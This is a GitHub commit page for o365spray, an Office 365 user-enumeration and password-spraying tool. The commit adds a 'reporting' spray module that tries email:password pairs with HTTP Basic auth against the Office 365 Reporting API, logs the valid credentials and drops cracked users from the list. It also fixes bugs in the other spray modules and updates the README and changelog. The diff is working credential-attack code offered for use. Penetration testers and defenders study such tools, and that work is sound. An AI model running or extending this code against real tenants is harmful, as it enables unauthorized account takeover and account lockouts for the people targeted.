Skip to content

Commit

Permalink
Merge pull request #9 from 0xZDH/new-modules
Browse files Browse the repository at this point in the history
New spray module and bug fixes
  • Loading branch information
0xZDH committed Aug 2, 2021
2 parents a4d1647 + 26ba53b commit 8e2bf32
Show file tree
Hide file tree
Showing 6 changed files with 96 additions and 14 deletions.
5 changes: 5 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,10 @@
# CHANGELOG

## v2.0.2
- Add O365 reporting API password spraying module based on [Daniel Chronlund's blog post](https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/) and [the ADFSpray tool](https://github.com/xFreed0m/ADFSpray). (20/07/2021)
- Fix typos in sprayer modules that caused errors. (01/08/2021)
- Add handling if a spraying user list is cleared during a run it does not throw an error. (01/08/2021)

## v2.0.1 (15/07/2021)
- Add oAuth2 user enumeration module based on [AADInternals](https://github.com/Gerenios/AADInternals)

Expand Down
11 changes: 7 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,12 +24,12 @@ usage: o365spray [-h] [-d DOMAIN] [--validate] [--enum] [--spray]
[-u USERNAME] [-p PASSWORD] [-U USERFILE] [-P PASSFILE]
[--paired PAIRED] [-c COUNT] [-l LOCKOUT]
[--enum-module {office,activesync,onedrive,oauth2}]
[--spray-module {activesync,autodiscover,msol,adfs}]
[--spray-module {activesync,autodiscover,reporting,msol,adfs}]
[--adfs-url ADFS_URL] [--rate RATE] [--safe SAFE]
[--timeout TIMEOUT] [--proxy PROXY] [--output OUTPUT]
[-v] [--debug]
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.1
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.2
optional arguments:
Expand Down Expand Up @@ -68,9 +68,10 @@ optional arguments:
Lockout policy's reset time (in minutes). Default: 15 minutes
--enum-module {office,activesync,onedrive,oauth2}
Specify which enumeration module to run. Default: office
Specify which enumeration module to run.
Default: office
--spray-module {activesync,autodiscover,msol,adfs}
--spray-module {activesync,autodiscover,reporting,msol,adfs}
Specify which password spraying module to run.
Default: activesync
Expand Down Expand Up @@ -147,6 +148,7 @@ list_of_valid_users = e.VALID_ACCOUNTS
### Spraying
* activesync
* autodiscover
* reporting
* msol
* adfs

Expand Down Expand Up @@ -184,6 +186,7 @@ The o365spray framework has been ported to a new tool: [Omnispray](https://githu
| [nyxgeek](https://github.com/nyxgeek) | onedrive_user_enum: OneDrive user enumeration | [onedrive_user_enum](https://github.com/nyxgeek/onedrive_user_enum) / [blog post](https://www.trustedsec.com/blog/achieving-passive-user-enumeration-with-onedrive/) |
| [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) | adfs-spray: ADFS password spraying | [adfs-spray](https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py) |
| [Nestori Syynimaa](https://github.com/NestoriSyynimaa) | AADInternals: oAuth2 user enumeration | [AADInternals](https://github.com/Gerenios/AADInternals) |
| [Daniel Chronlund](https://danielchronlund.com/) / [xFreed0m](https://github.com/xFreed0m) | Invoke-AzureAdPasswordSprayAttack / ADFSpray: Office 365 reporting API password spraying | [Invoke-AzureAdPasswordSprayAttack](https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/) / [ADFSpray](https://github.com/xFreed0m/ADFSpray) |
| [byt3bl33d3r](https://github.com/byt3bl33d3r) | SprayingToolkit: Code references | [SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit/) |
| [sensepost](https://github.com/sensepost) | ruler: Code references | [Ruler](https://github.com/sensepost/ruler/) |

Expand Down
2 changes: 1 addition & 1 deletion o365spray/__init__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
_V_MAJ = 2
_V_MIN = 0
_V_MNT = 1
_V_MNT = 2
__version__ = f"{_V_MAJ}.{_V_MIN}.{_V_MNT}"
7 changes: 6 additions & 1 deletion o365spray/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -102,7 +102,7 @@ def parse_args() -> argparse.Namespace:
"--spray-module",
type=str.lower,
default="activesync",
choices=("activesync", "autodiscover", "msol", "adfs"),
choices=("activesync", "autodiscover", "reporting", "msol", "adfs"),
help="Specify which password spraying module to run. Default: activesync",
)
parser.add_argument(
Expand Down Expand Up @@ -517,6 +517,11 @@ def spray_signal_handler(signal, frame):
spray.shutdown()
break

# Stop if there are no more users to spray
if not spray.userlist:
logging.debug("End of password spraying user list reached.")
break

# https://stackoverflow.com/a/654002
# https://docs.python.org/3/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops
# Only executed if the inner loop did NOT break
Expand Down
1 change: 1 addition & 0 deletions o365spray/core/handlers/enumerator.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
https://github.com/Raikia/UhOh365
https://github.com/nyxgeek/onedrive_user_enum/blob/master/onedrive_enum.py
https://github.com/gremwell/o365enum/blob/master/o365enum.py
https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L112
"""

# TODO: Test and validate each active module
Expand Down
84 changes: 76 additions & 8 deletions o365spray/core/handlers/sprayer.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,14 @@
#!/usr/bin/env python3

# Based on: https://bitbucket.org/grimhacker/office365userenum/
# https://github.com/Raikia/UhOh365
# https://github.com/dafthack/MSOLSpray
# '-> https://gist.github.com/byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f
# https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py
"""
Based on: https://bitbucket.org/grimhacker/office365userenum/
https://github.com/Raikia/UhOh365
https://github.com/dafthack/MSOLSpray
'-> https://gist.github.com/byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f
https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py
https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/
'-> https://github.com/xFreed0m/ADFSpray
"""

# TODO: Test and validate each active module

Expand Down Expand Up @@ -87,6 +91,7 @@ def __init__(
self._modules = {
"autodiscover": self._autodiscover,
"activesync": self._activesync,
"reporting": self._reporting,
"msol": self._msol,
"adfs": self._adfs,
}
Expand Down Expand Up @@ -296,7 +301,7 @@ def _autodiscover(self, domain: str, user: str, password: str):
raise ValueError("Locked account limit reached.")

# Build email if not already built
email = self.helper.check_email(user, domain)
email = self.HELPER.check_email(user, domain)

# Write the tested user
tested = f"{email}:{password}"
Expand Down Expand Up @@ -400,7 +405,7 @@ def _msol(self, domain: str, user: str, password: str):
raise ValueError("Locked account limit reached.")

# Build email if not already built
email = self.helper.check_email(user, domain)
email = self.HELPER.check_email(user, domain)

# Write the tested user
tested = f"{email}:{password}"
Expand All @@ -411,7 +416,7 @@ def _msol(self, domain: str, user: str, password: str):

# Grab external headers from config.py
headers = Defaults.HTTP_HEADERS
headers["Accept"] = ("application/json",)
headers["Accept"] = "application/json"
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = {
"resource": "https://graph.windows.net",
Expand Down Expand Up @@ -538,6 +543,69 @@ def _adfs(self, domain: str, user: str, password: str):
logging.debug(e)
pass

# ================================
# == -- Reporting API MODULE -- ==
# ================================

def _reporting(self, domain: str, user: str, password: str):
"""Spray users via the Office 365 Reporting API
https://github.com/xFreed0m/ADFSpray
https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/
Arguments:
domain: domain to spray
user: username for authentication
password: password for authentication
Raises:
Exception: generic handler so we can successfully fail without
crashing the run
"""
try:
# Build email if not already built
email = self.HELPER.check_email(user, domain)

# Write the tested user
tested = f"{email}:{password}"
if self.writer:
self.tested_writer.write(tested)

time.sleep(0.250)

auth = HTTPBasicAuth(email, password)
url = "https://reports.office365.com/ecp/reportingwebservice/reporting.svc"
response = self._send_request(
"get",
url,
auth=auth,
proxies=self.proxies,
timeout=self.timeout,
sleep=self.sleep,
jitter=self.jitter,
)
status = response.status_code

if status == 200:
if self.writer:
self.valid_writer.write(tested)
self.VALID_CREDENTIALS.append(tested)
logging.info(
f"[{text_colors.green}VALID{text_colors.reset}] {email}:{password}"
)
# Remove valid user from being sprayed again
self.userlist.remove(user)

else:
print(
f"[{text_colors.red}INVALID{text_colors.reset}] "
f"{email}:{password}{' '*10}",
end="\r",
)

except Exception as e:
logging.debug(e)
pass

async def run(
self,
password: Union[str, List[str]],
Expand Down

0 comments on commit 8e2bf32

Please sign in to comment.